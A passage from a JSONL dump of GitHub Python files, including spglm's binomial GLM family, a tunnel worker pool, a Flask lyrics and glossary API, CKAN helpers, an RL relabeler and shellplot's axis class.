V.Binomial(n=freq_weights)\n        if endog.ndim > 1 and endog.shape[1] > 1:\n            y = endog[:, 0]\n            # overwrite self.freq_weights for deviance below\n            self.n = endog.sum(1)\n            return y * 1.0 / self.n, self.n\n        else:\n            return endog, np.ones(endog.shape[0])\n\n    def deviance(self, endog, mu, freq_weights=1, scale=1.0, axis=None):  # noqa ARG002\n        r\"\"\"\n        Deviance function for either Bernoulli or Binomial data.\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable (already transformed to a probability\n            if appropriate).\n        mu : array\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional scale argument. The default is 1.\n\n        Returns\n        --------\n        deviance : float\n            The deviance function as defined below\n\n        \"\"\"\n        if np.shape(self.n) == () and self.n == 1:\n            one = np.equal(endog, 1)\n            return -2 * np.sum(\n                (one * np.log(mu + 1e-200) + (1 - one) * np.log(1 - mu + 1e-200))\n                * freq_weights,\n                axis=axis,\n            )\n\n        else:\n            return 2 * np.sum(\n                self.n\n                * freq_weights\n                * (\n                    endog * np.log(endog / mu + 1e-200)\n                    + (1 - endog) * np.log((1 - endog) / (1 - mu) + 1e-200)\n                ),\n                axis=axis,\n            )\n\n    def resid_dev(self, endog, mu, scale=1.0):\n        r\"\"\"\n        Binomial deviance residuals\n\n        Parameters\n        -----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        scale : float, optional\n            An optional argument to divide the residuals by scale. The default\n            is 1.\n\n        Returns\n        -------\n        resid_dev : array\n            Deviance residuals as defined below\n\n        \"\"\"\n\n        mu = self.link._clean(mu)\n        if np.shape(self.n) == () and self.n == 1:\n            one = np.equal(endog, 1)\n            return (\n                np.sign(endog - mu)\n                * np.sqrt(-2 * np.log(one * mu + (1 - one) * (1 - mu)))\n                / scale\n            )\n        else:\n            return (\n                np.sign(endog - mu)\n                * np.sqrt(\n                    2\n                    * self.n\n                    * (\n                        endog * np.log(endog / mu + 1e-200)\n                        + (1 - endog) * np.log((1 - endog) / (1 - mu) + 1e-200)\n                    )\n                )\n                / scale\n            )\n\n    def loglike(self, endog, mu, freq_weights=1, scale=1.0):\n        r\"\"\"\n        The log-likelihood function in terms of the fitted mean response.\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            Not used for the Binomial GLM.\n\n        Returns\n        -------\n        llf : float\n            The value of the loglikelihood function evaluated at\n            (endog,mu,freq_weights,scale) as defined below.\n\n        \"\"\"\n\n        if np.shape(self.n) == () and self.n == 1:\n            return scale * np.sum(\n                (endog * np.log(mu / (1 - mu) + 1e-200) + np.log(1 - mu)) * freq_weights\n            )\n        else:\n            y = endog * self.n  # convert back to successes\n            return scale * np.sum(\n                (\n                    special.gammaln(self.n + 1)\n                    - special.gammaln(y + 1)\n                    - special.gammaln(self.n - y + 1)\n                    + y * np.log(mu / (1 - mu))\n                    + self.n * np.log(1 - mu)\n                )\n                * freq_weights\n            )\n\n    def resid_anscombe(self, endog, mu):\n        \"\"\"\n        The Anscombe residuals\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n\n        Returns\n        -------\n        resid_anscombe : array\n            The Anscombe residuals as defined below.\n\n        References\n        ----------\n        Anscombe, FJ. (1953) \"Contribution to the discussion of H. Hotelling's\n            paper.\" Journal of the Royal Statistical Society B. 15, 229-30.\n\n        Cox, DR and Snell, EJ. (1968) \"A General Definition of Residuals.\"\n            Journal of the Royal Statistical Society B. 30, 248-75.\n\n        \"\"\"\n        cox_snell = lambda x: (  # noqa E731 - skip \"don't use lambda\"\n            special.betainc(2 / 3.0, 2 / 3.0, x) * special.beta(2 / 3.0, 2 / 3.0)\n        )\n        return np.sqrt(self.n) * (\n            (cox_snell(endog) - cox_snell(mu))\n            / (mu ** (1 / 6.0) * (1 - mu) ** (1 / 6.0))\n        )\n","repo_name":"pysal/spglm","sub_path":"spglm/family.py","file_name":"family.py","file_ext":"py","file_size_in_byte":28703,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"21"}
+{"seq_id":"15350781381","text":"import argparse\nimport json\nimport pylab as plt\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description=\"Takes experiment results and combines them in a plot\")\n    parser.add_argument(\n        \"json\",\n        type=str,\n        nargs=\"+\",\n        help=\"One or more json experiments\",\n    )\n    return parser.parse_args()\n\ndef generate_plot(output_file, experiments):\n    \"\"\" \n    Plot the experiment results on a the 2 by 2 square\n    containing the unit circle. Show how many points fell\n    inside v.s. outside of the circle.\n    \"\"\"\n\n    # Split the results into inside v.s. outside\n    within  = [ e for e in experiments if e['x']**2 + e['y']**2 <= 1  ]\n    outside = [ e for e in experiments if e['x']**2 + e['y']**2  > 1  ]\n\n\n    # clear things for fresh plot\n    ax = plt.gca()\n    ax.cla() \n\n    # Set plot bounds\n    ax.set_xlim((-1, 1))\n    ax.set_ylim((-1, 1))\n\n    # plots: inside and outside the circle\n    plt.scatter(\n        [ e['x'] for e in within ],\n        [ e['y'] for e in within ],\n        c=\"red\"\n    )\n\n    plt.scatter(\n        [ e['x'] for e in outside ],\n        [ e['y'] for e in outside ],\n        c=\"blue\"\n    )\n\n    # bounding circle\n    c = plt.Circle( (0,0), 1, color='black', fill=False)\n    ax.add_artist(c)\n\n    # write to disk\n    plt.savefig(output_file)\n\n\nif __name__ == '__main__':\n    args = parse_args()\n    output_file=\"out.png\"\n    generate_plot(\n        output_file=output_file, \n        experiments=[ json.loads(s) for s in args.json ]\n    )\n    print(\"Done\")\n","repo_name":"Skin1215/aaw-contrib-jupyter-notebooks","sub_path":"mapreduce-pipeline/generate_plot/compile_plot.py","file_name":"compile_plot.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"15445853967","text":"import multiprocessing\nimport asyncio\nimport sys\nimport logging\nimport typing\n\nimport psutil\n\nfrom . import config\n\nif typing.TYPE_CHECKING:\n    from multiprocessing.connection import Connection\n    from multiprocessing.managers import Namespace\n\nlogger = logging.getLogger(__name__)\n\nProcessType = typing.Callable[\n    ['Connection', config.ConfigurationType, 'Namespace'],\n    typing.Coroutine[typing.Any, None, None],\n]\n\nNO_CPU_PERCENT: float = 1000001.0\n\n\nclass Processes:\n    \"\"\"\n    This class is used to store the processes that are used by the tunnel.\n    \"\"\"\n\n    children: typing.List[\n        typing.Tuple['Connection', multiprocessing.Process, psutil.Process]\n    ]\n    process: ProcessType\n    cfg: config.ConfigurationType\n    ns: 'Namespace'\n\n    def __init__(\n        self, process: ProcessType, cfg: config.ConfigurationType, ns: 'Namespace'\n    ) -> None:\n        self.children = []\n        self.process = process  # type: ignore\n        self.cfg = cfg\n        self.ns = ns\n\n        for i in range(cfg.workers):\n            self.add_child_pid()\n\n    def add_child_pid(self):\n        own_conn, child_conn = multiprocessing.Pipe()\n        task = multiprocessing.Process(\n            target=Processes.runner,\n            args=(self.process, child_conn, self.cfg, self.ns),\n        )\n        task.start()\n        logger.debug('ADD CHILD PID: %s', task.pid)\n        self.children.append(\n            (typing.cast('Connection', own_conn), task, psutil.Process(task.pid))\n        )\n\n    def best_child(self) -> 'Connection':\n        best: typing.Tuple[float, 'Connection'] = (NO_CPU_PERCENT, self.children[0][0])\n        missingProcesses: typing.List[int] = []\n        for i, c in enumerate(self.children):\n            try:\n                if c[2].status() == 'zombie':  # Bad kill!!\n                    raise psutil.ZombieProcess(c[2])\n                percent = c[2].cpu_percent()\n            except (psutil.ZombieProcess, psutil.NoSuchProcess) as e:\n                # Process is missing...\n                logger.warning('Missing process found: %s', e)\n                try:\n                    c[0].close()  # Close pipe to missing process\n                except Exception:\n                    logger.debug('Could not close handle for %s', e.pid)\n                try:\n                    c[1].kill()\n                    c[1].close()\n                except Exception:\n                    logger.debug('Could not close process %s', e.pid)\n\n                missingProcesses.append(i)\n                continue\n\n            logger.debug('PID %s has %s', c[2].pid, percent)\n\n            if percent < best[0]:\n                best = (percent, c[0])\n\n        # If we have a missing process, try to add it back\n        if missingProcesses:\n            logger.debug('Regenerating missing processes: %s', len(missingProcesses))\n            # Regenerate childs and recreate new proceeses for requests...\n            # Remove missing processes\n            self.children[:] = [\n                child\n                for i, child in enumerate(self.children)\n                if i not in missingProcesses\n            ]\n            # Now add new children\n            for (\n                _\n            ) in (\n                missingProcesses\n            ):  #  wee need to add as many as we removed, that is the len of missingProcesses\n                self.add_child_pid()\n\n            # Recheck best if all child were missing\n            if best[0] == NO_CPU_PERCENT:\n                return self.best_child()\n\n        return best[1]\n\n    def stop(self) -> None:\n        # Try to stop running childs\n        for i in self.children:\n            try:\n                i[2].kill()\n            except Exception as e:\n                logger.info('KILLING child %s: %s', i[2], e)\n\n    @staticmethod\n    def runner(\n        proc: ProcessType,\n        conn: 'Connection',\n        cfg: config.ConfigurationType,\n        ns: 'Namespace',\n    ) -> None:\n        if cfg.use_uvloop:\n            try:\n                import uvloop\n\n                if sys.version_info >= (3, 11):\n                    with asyncio.Runner(loop_factory=uvloop.new_event_loop) as runner:\n                        runner.run(proc(conn, cfg, ns))\n                else:\n                    uvloop.install()\n                    asyncio.run(proc(conn, cfg, ns))\n            except ImportError:\n                logger.warning('uvloop not found, using default asyncio')\n        else:\n            asyncio.run(proc(conn, cfg, ns))\n","repo_name":"Future998/openuds","sub_path":"tunnel-server/src/uds_tunnel/processes.py","file_name":"processes.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"72985048692","text":"from flask import Flask, escape, request\nimport hashlib\nfrom netease import NetEaseService\nfrom nlp import NLP\nimport sqlite3\n\nservice = NetEaseService()\nnlp = NLP()\napp = Flask(__name__)\n\nsqlite_conn = sqlite3.connect(\"data.db\")\nsqlite_c = sqlite_conn.cursor()\n\n\n@app.route('/api/ping')\ndef hello():\n    return {\"message\": \"pong\"}\n\n\n@app.route(\"/api/songs/<int:song_id>\")\ndef get_song(song_id):\n    return \"\"\n\n@app.route(\"/api/songs/<int:song_id>/lyrics\")\ndef get_lyrics(song_id):\n    result = []\n    if nlp.cache_exists(song_id):\n        result = nlp.analyze_lyrics(None, song_id)\n    else:\n        lines = service.get_song_lyrics(song_id)\n        print(lines)\n        parsed_lines = nlp.parse_lrc(lines)\n        result = nlp.analyze_lyrics(parsed_lines, song_id)\n    return {\"lyrics\": result}\n\n@app.route(\"/api/playlists\")\ndef get_playlists():\n    return {\"playlists\": service.get_my_playlists()}\n\n@app.route(\"/api/playlists/<int:playlist_id>\")\ndef get_playlist(playlist_id):\n    return {\"id\": playlist_id, \"songs\": service.get_playlist(playlist_id)}\n\n@app.route(\"/api/user/login\", methods = [\"POST\"])\ndef login():\n    username = request.form.get(\"username\")\n    password = request.form.get(\"password\")\n    md5pass = hashlib.md5(password.encode(\"utf-8\")).hexdigest()\n    resp = service.autologin(username, md5pass)\n    if resp:\n        return {\"message\": \"Login successful\"}, 202\n    else:\n        return {\"message\": \"Login failed\"}, 401\n\n@app.route(\"/api/user\")\ndef login_status():\n    return service.login_status()\n\n@app.route(\"/api/today\")\ndef today_review():\n    pass\n\n@app.route(\"/api/glossary\", methods = [\"GET\"])\ndef get_glossary(word):\n    result = sqlite_c.execute(\"SELECT word, timestamp FROM glossary ORDER BY timestamp DESC\").fetch_all()\n    \n    resp = {\"glossary\": []}\n\n    for row in result:\n        word, timestamp = row\n        resp[\"glossary\"].append({\n            \"word\": word,\n            \"timestamp\": timestamp\n        })\n    \n    return resp\n\n@app.route(\"/api/glossary\", methods = [\"POST\"])\ndef add_to_glossary():\n    word = request.form.get(\"word\")\n    assert(isinstance(word, str))\n    result = sqlite_c.execute(\"INSERT INTO glossary(word, timestamp) VALUES(?, ?)\", (word, int(time.time())))\n    return {\"message\": \"success\"}, 202\n\n@app.route(\"/api/glossary/<string:word>\", methods = [\"DELETE\"])\ndef remove_glossary(word):\n    result = sqlite_c.execute(\"DELETE FROM glossary WHERE word=?\", (word, ))\n    return {\"message\": \"success\"}, 202\n\n@app.route(\"/api/definition/<string:word>\")\ndef get_definition(word):\n    rank = nlp.freq_db.get(word, -1)\n    quick_translation = nlp.translation_db.get(word, [])\n    full_definition = nlp.full_dict_db.get(word, \"Not available\")\n    \n    count = sqlite_c.execute(\"SELECT COUNT(*) FROM glossary WHERE word=?\", (word, )).fetchone()[0]\n\n    return {\n        \"rank\": rank,\n        \"translation\": quick_translation,\n        \"definition\": full_definition,\n        \"in_glossary\": (count == 1)\n    }\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0')","repo_name":"zhao-xuan/LinguoMusic","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73025883893","text":"try:\n    from collections import OrderedDict  # 2.7\nexcept ImportError:\n    from sqlalchemy.util import OrderedDict\n\nimport logging\n\nfrom pylons import config\nfrom ckan import plugins as p\nfrom ckan.lib import helpers as h\nimport re\nimport simplejson as json\n\nREDACTED_REGEX = re.compile(\n    r'^(\\[\\[REDACTED).*?(\\]\\])$'\n)\n\nREDACTED_TAGS_REGEX = re.compile(\n    r'\\[\\[/?REDACTED(-EX\\sB\\d)?\\]\\]'\n)\n\nPARTIAL_REDACTION_REGEX = re.compile(\n    r'\\[\\[REDACTED-EX B[\\d]\\]\\](.*?\\[\\[/REDACTED\\]\\])'\n)\n\nlog = logging.getLogger(__name__)\n\n\ndef get_reference_date(date_str):\n    \"\"\"\n        Gets a reference date extra created by the harvesters and formats it\n        nicely for the UI.\n\n        Examples:\n            [{\"type\": \"creation\", \"value\": \"1977\"}, {\"type\": \"revision\", \"value\": \"1981-05-15\"}]\n            [{\"type\": \"publication\", \"value\": \"1977\"}]\n            [{\"type\": \"publication\", \"value\": \"NaN-NaN-NaN\"}]\n\n        Results\n            1977 (creation), May 15, 1981 (revision)\n            1977 (publication)\n            NaN-NaN-NaN (publication)\n    \"\"\"\n    try:\n        out = []\n        for date in h.json.loads(date_str):\n            value = h.render_datetime(date['value']) or date['value']\n            out.append('{0} ({1})'.format(value, date['type']))\n        return ', '.join(out)\n    except (ValueError, TypeError):\n        return date_str\n\n\ndef get_responsible_party(value):\n    \"\"\"\n        Gets a responsible party extra created by the harvesters and formats it\n        nicely for the UI.\n\n        Examples:\n            [{\"name\": \"Complex Systems Research Center\", \"roles\": [\"pointOfContact\"]}]\n            [{\"name\": \"British Geological Survey\", \"roles\": [\"custodian\", \"pointOfContact\"]},\n             {\"name\": \"Natural England\", \"roles\": [\"publisher\"]}]\n\n        Results\n            Complex Systems Research Center (pointOfContact)\n            British Geological Survey (custodian, pointOfContact); Natural England (publisher)\n    \"\"\"\n    if not value:\n        return None\n\n    formatted = {\n        'resourceProvider': p.toolkit._('Resource Provider'),\n        'pointOfContact': p.toolkit._('Point of Contact'),\n        'principalInvestigator': p.toolkit._('Principal Investigator'),\n    }\n\n    try:\n        out = []\n        parties = h.json.loads(value)\n        for party in parties:\n            roles = [formatted[role] if role in formatted.keys() else p.toolkit._(role.capitalize()) for role in\n                     party['roles']]\n            out.append('{0} ({1})'.format(party['name'], ', '.join(roles)))\n        return '; '.join(out)\n    except (ValueError, TypeError):\n        pass\n    return value\n\n\ndef get_common_map_config():\n    \"\"\"\n        Returns a dict with all configuration options related to the common\n        base map (ie those starting with 'ckanext.spatial.common_map.')\n    \"\"\"\n    namespace = 'ckanext.spatial.common_map.'\n    return dict([(k.replace(namespace, ''), v) for k, v in config.iteritems() if k.startswith(namespace)])\n\n\ndef strip_if_string(val):\n    \"\"\"\n    :param val: any\n    :return: str|None\n    \"\"\"\n    if isinstance(val, (str, unicode)):\n        val = val.strip()\n        if '' == val:\n            val = None\n    return val\n\n\ndef get_export_map_json(map_filename):\n    \"\"\"\n    Reading json export map from file\n    :param map_filename: str\n    :return: obj\n    \"\"\"\n    import os\n\n    map_path = os.path.join(os.path.dirname(__file__), 'export_map', map_filename)\n\n    if not os.path.isfile(map_path):\n        log.warn(\"Could not find %s ! Please create it. Use samples from same folder\", map_path)\n        map_path = os.path.join(os.path.dirname(__file__), 'export_map', 'export.catalog.map.sample.json')\n\n    with open(map_path, 'r') as export_map_json:\n        json_export_map = json.load(export_map_json, object_pairs_hook=OrderedDict)\n\n    return json_export_map\n\n\ndef detect_publisher(extras):\n    \"\"\"\n    Detect publisher by package extras\n    :param extras: dict\n    :return: str\n    \"\"\"\n    publisher = None\n\n    if 'publisher' in extras and extras['publisher']:\n        publisher = strip_if_string(extras['publisher'])\n\n    for i in range(1, 6):\n        key = 'publisher_' + str(i)\n        if key in extras and extras[key] and strip_if_string(extras[key]):\n            publisher = strip_if_string(extras[key])\n    return publisher\n\n\ndef is_redacted(value):\n    \"\"\"\n    Checks if value is valid POD v1.1 [REDACTED-*]\n    :param value: str\n    :return: bool\n    \"\"\"\n    return isinstance(value, (str, unicode)) and REDACTED_REGEX.match(value)\n\n\ndef get_validator(schema_type=\"federal-v1.1\"):\n    \"\"\"\n    Get POD json validator object\n    :param schema_type: str\n    :return: obj\n    \"\"\"\n    import os\n    from jsonschema import Draft4Validator, FormatChecker\n\n    schema_path = os.path.join(os.path.dirname(__file__), 'pod_schema', schema_type, 'dataset.json')\n    with open(schema_path, 'r') as schema:\n        schema = json.loads(schema.read())\n        return Draft4Validator(schema, format_checker=FormatChecker())\n\n\ndef uglify(key):\n    \"\"\"\n    lower string and remove spaces\n    :param key: string\n    :return: string\n    \"\"\"\n    if isinstance(key, (str, unicode)):\n        return \"\".join(key.lower().split()).replace('_', '').replace('-', '')\n    return key\n\n\ndef get_extra(package, key, default=None):\n    \"\"\"\n    Retrieves the value of an extras field.\n    \"\"\"\n    return packageExtraCache.get(package, key, default)\n\n\nclass PackageExtraCache:\n    def __init__(self):\n        self.pid = None\n        self.extras = {}\n        pass\n\n    def store(self, package):\n        import sys, os\n\n        try:\n            self.pid = package.get('id')\n\n            current_extras = package.get('extras')\n            new_extras = {}\n            for extra in current_extras:\n                if 'extras_rollup' == extra.get('key'):\n                    rolledup_extras = json.loads(extra.get('value'))\n                    for k, value in rolledup_extras.iteritems():\n                        if isinstance(value, (list, tuple)):\n                            value = \", \".join(map(unicode, value))\n                        new_extras[uglify(k)] = value\n                else:\n                    value = extra.get('value')\n                    if isinstance(value, (list, tuple)):\n                        value = \", \".join(map(unicode, value))\n                    new_extras[uglify(extra['key'])] = value\n\n            self.extras = new_extras\n        except Exception as e:\n            exc_type, exc_obj, exc_tb = sys.exc_info()\n            filename = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n            log.error(\"%s : %s : %s : %s\", exc_type, filename, exc_tb.tb_lineno, unicode(e))\n            raise e\n\n    def get(self, package, key, default=None):\n        if self.pid != package.get('id'):\n            self.store(package)\n        return strip_if_string(self.extras.get(uglify(key), default))\n\n\npackageExtraCache = PackageExtraCache()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/GSA_ckanext-datajson/ckanext-datajson-master/ckanext/datajson/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6902,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"73202267891","text":"import argparse\nimport version\nimport settings\nimport sys\nimport init\n_LOGGER = settings.get_logger()\n\ndef setup_arguments_parser():\n    parser = argparse.ArgumentParser(description='Valid arguments for dracoctl')\n    actions = parser.add_subparsers(help='Valid arguments for dracoctl', dest='action')\n\n    # Version parser\n    version_help = \"Display dracoctl version\"\n    actions.add_parser('version', help=version_help)\n\n    # Init parser\n    init_parser = actions.add_parser('init', help='Init the draco pipeline folder with default files')\n    init_parser.add_argument('--dir', help='Directory to start the pipeline folder')\n    return parser\n\n\ndef dispatch_version():\n    version.show_version()\n\n\ndef dispatch_init(args):\n    init.init_test_folder(args)\n\n\ndef main():\n    parser = setup_arguments_parser()\n    args = parser.parse_args()\n    if args.action == 'version':\n        dispatch_version()\n\n    if args.action == 'init':\n        dispatch_init(args)\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n","repo_name":"dinocloud/draco","sub_path":"cli/draco.py","file_name":"draco.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72645398452","text":"\"\"\"Author: Brandon Trabucco, Copyright 2019\"\"\"\r\n\r\n\r\nimport tensorflow as tf\r\nfrom mineral.relabelers.relabeler import Relabeler\r\n\r\n\r\nclass SubgoalTestingRelabeler(Relabeler):\r\n    \r\n    def __init__(\r\n        self,\r\n        *args,\r\n        observation_selector=(lambda x: x[\"proprio_observation\"]),\r\n        order=2,\r\n        threshold=0.1,\r\n        penalty=(-1.0),\r\n        **kwargs\r\n    ):\r\n        Relabeler.__init__(self, *args, **kwargs)\r\n        self.observation_selector = observation_selector\r\n        self.order = order\r\n        self.threshold = threshold\r\n        self.penalty = penalty\r\n\r\n    def relabel(\r\n        self,\r\n        observations,\r\n        actions,\r\n        rewards,\r\n        terminals\r\n    ):\r\n        induced_observations = [\r\n            self.observation_selector(x)\r\n            for x in observations[\"induced_observations\"]]\r\n\r\n        cumulative_distances = 0.0\r\n        for lower_observation in induced_observations:\r\n            error = lower_observation[:, 1:, ...] - actions\r\n            cumulative_distances += tf.linalg.norm(\r\n                tf.reshape(error, [tf.shape(error)[0], tf.shape(error)[1], -1]),\r\n                ord=self.order, axis=(-1))\r\n\r\n        test_passed_condition = cumulative_distances < self.threshold\r\n        tested_rewards = tf.where(\r\n            test_passed_condition,\r\n            rewards,\r\n            rewards + self.penalty)\r\n\r\n        rewards = tf.where(\r\n            self.get_relabeled_mask(rewards), tested_rewards, rewards)\r\n        return (\r\n            observations,\r\n            actions,\r\n            rewards,\r\n            terminals)\r\n","repo_name":"brandontrabucco/mineral","sub_path":"mineral/relabelers/subgoal_testing_relabeler.py","file_name":"subgoal_testing_relabeler.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"18271900807","text":"\"\"\"Module that contains Axis class (usable for both x and y axis)\n\"\"\"\nfrom typing import Optional\n\nimport numpy as np\n\nfrom shellplot.utils import (\n    array_like,\n    difference_round,\n    is_datetime,\n    numpy_1d,\n    round_down,\n    round_up,\n    timedelta_round,\n    to_datetime,\n    to_numeric,\n    tolerance_round,\n)\n\n\nclass Axis:\n    \"\"\"Enables mapping from data to display / plot coordinates.\n\n    We loosely follow the sklearn transformer api:\n\n    >>> axis = Axis()\n    >>> axis = x_axis.fit(x_data)\n    >>> x_display = x_axis.transform(x_data)\n\n    where `x_data` and `x_display` correspond to data and display coordinates,\n    respectively.\n\n    When calling `.fit`, we will automatically determine 'reasonable' axis\n    limits and tick labels. Note that these can also be set by the user.\n    \"\"\"\n\n    def __init__(\n        self,\n        display_length: int = 20,\n        label: Optional[str] = None,\n        limits: Optional[array_like] = None,\n        ticks: Optional[array_like] = None,\n        ticklabels: Optional[array_like] = None,\n        nticks: Optional[int] = None,\n    ):\n        \"\"\"Instantiate a new Axis.\n\n        Parameters\n        ----------\n        display_length : int, optional\n            Length of axis, in characters, default 20\n        label : Optional[str], optional\n            Axis label, default None\n        limits : Optional[array_like], optional\n            Axis limits, default None (auto-generated)\n        ticklabels : Optional[array_like], optional\n            Labels for axis ticks, default None (auto-generated, as ticks)\n        ticks : Optional[array_like], optional\n            Where the axis ticks should be, default None (auto-generated)\n        nticks : Optional[int], optional\n            Number of axis ticks, default None (auto-generated)\n        \"\"\"\n        self.display_max = display_length - 1\n        self._is_datetime = False  # whether or not we are a datetime axis\n        self._scale = None\n\n        self.label = label\n        self.limits = limits\n        self.nticks = nticks\n        self.ticks = ticks\n        self.ticklabels = ticklabels\n\n    # -------------------------------------------------------------------------\n    # Properties that can be set / modified by the user\n    # -------------------------------------------------------------------------\n\n    @property\n    def label(self):\n        return self._label\n\n    @label.setter\n    def label(self, label):\n        self._label = label\n\n    @property\n    def limits(self):\n        return self._limits\n\n    @limits.setter\n    def limits(self, limits):\n        self._limits = limits\n        if limits is not None:  # new limits need to update scale and ticks\n            self._limits = to_numeric(limits)\n            self._set_scale()\n            self._reset_ticks()\n\n    @property\n    def nticks(self):\n        if self._nticks is None:\n            self._nticks = self._auto_nticks()\n        return self._nticks\n\n    @nticks.setter\n    def nticks(self, nticks):\n        self._reset_ticks()\n        self._nticks = nticks\n\n    @property\n    def ticks(self):\n        if self._ticks is None:\n            self._ticks = self._auto_ticks()\n        return self._ticks\n\n    @ticks.setter\n    def ticks(self, ticks):\n        self._reset_ticks()\n        self._ticks = numpy_1d(ticks)\n\n    @property\n    def ticklabels(self):\n        if self._ticklabels is None:\n            self._ticklabels = self._auto_ticklabels()\n        return self._ticklabels\n\n    @ticklabels.setter\n    def ticklabels(self, ticklabels):\n        if ticklabels is not None:\n            if len(ticklabels) != len(self.ticks):\n                raise ValueError(\"Len of tick labels must equal len of ticks!\")\n            if is_datetime(ticklabels):\n                ticklabels = np.datetime_as_string(ticklabels)\n        self._ticklabels = numpy_1d(ticklabels)\n\n    # -------------------------------------------------------------------------\n    # Public methods: fit, transform and generate ticks\n    # -------------------------------------------------------------------------\n\n    def fit(self, x):\n        \"\"\"Fit axis to get conversion from data to plot scale\"\"\"\n        self._is_datetime = is_datetime(x)\n        x = to_numeric(x)\n\n        if self.limits is None:\n            self._limits = self._auto_limits(x)\n\n        self._set_scale()\n        return self\n\n    def transform(self, x):\n        \"\"\"Transform data to the plot coordinates\"\"\"\n        x = to_numeric(x)\n        x_scaled = self._scale * (x - self.limits[0]).astype(float)\n        x_display = np.around(x_scaled).astype(int)\n        return np.ma.masked_outside(x_display, 0, self.display_max)\n\n    def fit_transform(self, x):\n        \"\"\"Fit axis and transform data to the plot coordinates\"\"\"\n        self = self.fit(x)\n        return self.transform(x)\n\n    def generate_display_ticks(self):\n        \"\"\"Generate display tick locations and labels\"\"\"\n        display_ticks = self.transform(self.ticks)\n        within_display = np.logical_and(\n            display_ticks >= 0, display_ticks <= self.display_max\n        )\n        display_labels = self.ticklabels[within_display]\n        display_ticks = display_ticks[within_display]\n\n        return zip(display_ticks, display_labels)\n\n    # -------------------------------------------------------------------------\n    # Private methods: Auto scaling & ticks\n    # -------------------------------------------------------------------------\n\n    def _set_scale(self):\n        self._scale = self.display_max / float(self.limits[1] - self.limits[0])\n\n    def _auto_limits(self, x, margin=0.25):\n        \"\"\"Automatically find good axis limits\"\"\"\n        x_max, x_min = x.max(), x.min()\n\n        max_difference = margin * (x_max - x_min)\n        ax_min = difference_round(x_min, round_down, max_difference)\n        ax_max = difference_round(x_max, round_up, max_difference)\n\n        return ax_min, ax_max\n\n    def _auto_nticks(self):\n        \"\"\"Automatically find number of ticks that fit display\"\"\"\n        max_ticks = int(1.5 * self.display_max ** 0.3) + 1\n        ticks = np.arange(max_ticks, max_ticks - 2, -1)\n        remainders = np.remainder(self.display_max, ticks)\n        return ticks[np.argmin(remainders)] + 1\n\n    def _auto_ticks(self):\n        \"\"\"Automatically find good axis ticks\"\"\"\n        if self.limits is None:\n            raise ValueError(\"Please fit axis or set limits first!\")\n        elif not self._is_datetime:\n            return self._auto_numeric_ticks()\n        else:\n            return self._auto_datetime_ticks()\n\n    def _auto_numeric_ticks(self, tol=0.05):\n        step, precision = tolerance_round(\n            (self.limits[1] - self.limits[0]) / (self.nticks - 1),\n            tol=tol,\n        )\n        return np.around(\n            np.arange(self.limits[0], self.limits[1] + step, step), precision\n        )[: self.nticks]\n\n    def _auto_datetime_ticks(self):\n        axis_td = to_datetime(np.array(self.limits, dtype=\"timedelta64[ns]\"))\n        limits_delta = axis_td[1] - axis_td[0]\n        unit = timedelta_round(limits_delta)\n        n_units = limits_delta / np.timedelta64(1, unit)\n        td_step = np.timedelta64(int(n_units / (self.nticks - 1)), unit)\n\n        return np.arange(\n            np.datetime64(axis_td[0], unit),\n            np.datetime64(axis_td[1], unit) + td_step,\n            td_step,\n        )[: self.nticks]\n\n    def _auto_ticklabels(self):\n        if self._is_datetime:\n            return np.datetime_as_string(self.ticks)\n        else:\n            return self.ticks\n\n    def _reset_ticks(self):\n        self._ticks = None\n        self._ticklabels = None\n","repo_name":"CDonnerer/shellplot","sub_path":"src/shellplot/axis.py","file_name":"axis.py","file_ext":"py","file_size_in_byte":7603,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"6810991627","text":"from decimal import Decimal as d\nfrom time import strftime, gmtime\nfrom Order import *\n\n\nclass Usuario:  # de aca se heredan 3 tipos de usuarios\n    def __init__(self, username, nombre, apellido, nacimiento):\n        self.username = username\n        self.nombre = nombre\n        self.apellido = apellido\n        self._nacimiento = nacimiento  # YYYY-MM-DD\n        self.mercados = []\n\n    @property\n    def nacimiento(self):\n        return self._nacimiento\n\n    @nacimiento.setter\n    def nacimiento(self, value):\n        # se usa para no ingresar fechas afuera de 1900 o 2017\n        try:\n            año = value[0:4]\n            mes = value[5:7]\n            dia = value[8:]\n            int(mes)\n            int(dia)\n            año_actual = strftime(\"%Y\", gmtime())\n            mes_actual = strftime(\"%m\", gmtime())\n            dia_actual = strftime(\"%d\", gmtime())\n            if int(año) >= 1900 and int(año) < int(año_actual):\n                self._nacimiento = value\n            elif int(año) == int(año_actual):\n                if int(mes) < int(mes_actual):\n                    self._nacimiento = value\n                elif int(mes) == int(mes_actual):\n                    if int(dia) <= 